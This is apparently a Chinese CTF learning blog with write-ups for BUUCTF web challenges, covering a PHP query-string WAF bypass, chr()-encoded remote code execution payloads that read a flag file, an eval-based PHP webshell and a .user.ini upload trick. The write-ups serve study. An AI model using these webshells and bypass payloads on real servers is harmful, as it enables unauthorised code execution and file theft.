2020.04.07
今天是因为身体不行了,然后有学了两个小时的php开发。
所以没多少时间写了。。
明天补上!
2020.04.08
[HCTF 2018]admin
首先直接进去后。
查看源码:有注释你不是admin用户
说明如果是admin用户就可以得到flag了
然后注册登陆。可以看到有一个注释,是源码的地址。
然后我就不会了
他是python的flask的漏洞和源码审计。。
还有seeesion的问题。是个可以被解密的签证。
我傻了。留着吧。
主要参考:
https://www.cnblogs.com/chrysanthemum/p/11722351.html
https://xz.aliyun.com/t/3569#toc-0
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://cizixs.com/2017/03/08/flask-insight-session/
2020.04.09
[RoarCTF 2019]Easy Calc
这道题目有趣多了
学到的知识点
1、如果我们的单引号和双引号被过滤了
我们怎么输入字符串?
1)、chr()
chr ( int $ascii) : string
:返回指定的字符
2)、hex2bin ( string $data ) : string
:把十六进制字符串转化为二进制字符串
dechex ( int $number) : string
:十进制数字转化为十六进制字符串
2、如何查看当前目录下有什么。除了直接使用system()
scandir ( string $directory [, int $sorting_order [, resource $context ]] ) : array
返回一个数组。数组里包含directory
中的文件和目录
3、PHP字符串解析
字符串解析
PHP查询字符串(在URL或正文中)转化为内部$_GET
或$_POST
数组时,例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
这也是为什么上一篇有一道题目
他过滤了下划线,而变量名字为b_u_r_p
我们可以利用 b%20u%20r%20p
来成功输入变量
好了基本知识点都知道了
我们来解解题目
测试发现,输入只能是数字和特殊字符,不允许使用字母
这里就是利用PHP字符串解析了。
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。
但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
至于是怎么发现是这个的。。。我哪知道啊。
之后 我们审查一下calc.php
1 |
|
看的出来,它过滤了 空格 单引号 双引号 换行 [ ] $ \ ^
还好没有过滤 ( )
。那么我们可以利用很多了
ascii码表查找:http://ascii.911cha.com/
不就是不给直接输入字符串嘛!
然后我尝试payload?%20num=2;system(chr(108).chr(115))
结果不能出来目录。还记得上次无参RCE使用的scandir()函数
然后使用?%20num=2;var_dump(scandir(chr(47)))
直接扫根目录
一般flag都在根目录里面
那么后面的操作就容易了
?%20num=2;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
不说了,另外一种http走私不会。。就这样,等刷完BUU我再刷第二遍的时候
就精细一点。!
参考:https://www.cnblogs.com/chrysanthemum/p/11757363.html
参考里有很多的参考【??套娃【笑
[SUCTF 2019]CheckIn
文件上传题目
新的利用点 ——**.user.ini**
整理下文件上传题的步骤:
随意上传php
fuzz后缀测试【可后面再做
改未知扩展名如.aaa来判断是黑名单还是白名单
之后再判断<?
问题
再判断MIME问题
文件头问题
有一个经常可以通过的<script language='php'> @eval($_POST['aaa']);<scirpt>
黑名单过滤而且可以上传图片马,那我们首先想到的肯定是传一个.htaccess上去来将图片马解析为php
这个方法是.htaccess文件内容为
1 | <FilesMatch "jpg"> |
除此之外还有一个.user.ini
的方法
也就是说我们可以在.user.ini
中设置php.ini
中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini
在p牛的文章中提到了两个有趣的设置:auto_prepend_file和auto_append_file
大致意思就是:我们指定一个文件(如liduoan.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./liduoan.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()
时该设置无效)
那么我们在.user.ini文件中写入
1 | GIF89a |
这样,在我们访问某个php文件的时候,liduoan.jpg就会被插入在这个php文件前面。那么liduoan.jpg的php代码不就可以执行了?!
好了,讲讲**.user.ini**的利用条件
- 服务器脚本为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
优势: 和**.htaccess**后门比,范围更加广,nginx/apache/IIS都有效。而.htaccess只对apache有效
注意和利用.htaccess的差别,在解题中最重要的是上传目录文件夹下有可执行的脚本。
具体解题步骤
上传.user.ini liduoan.jpg文件
之后蚁剑连接/uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php
根目录查看flag 【全都是在根目录。。。
参考:https://xz.aliyun.com/t/6091#toc-1
2020.04.16
[极客大挑战 2019]RCE ME
- 本文标题:四月份安全-2
- 创建时间:2020-04-08 07:28:58
- 本文链接:2020/04/08/四月/四月份安全-2/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!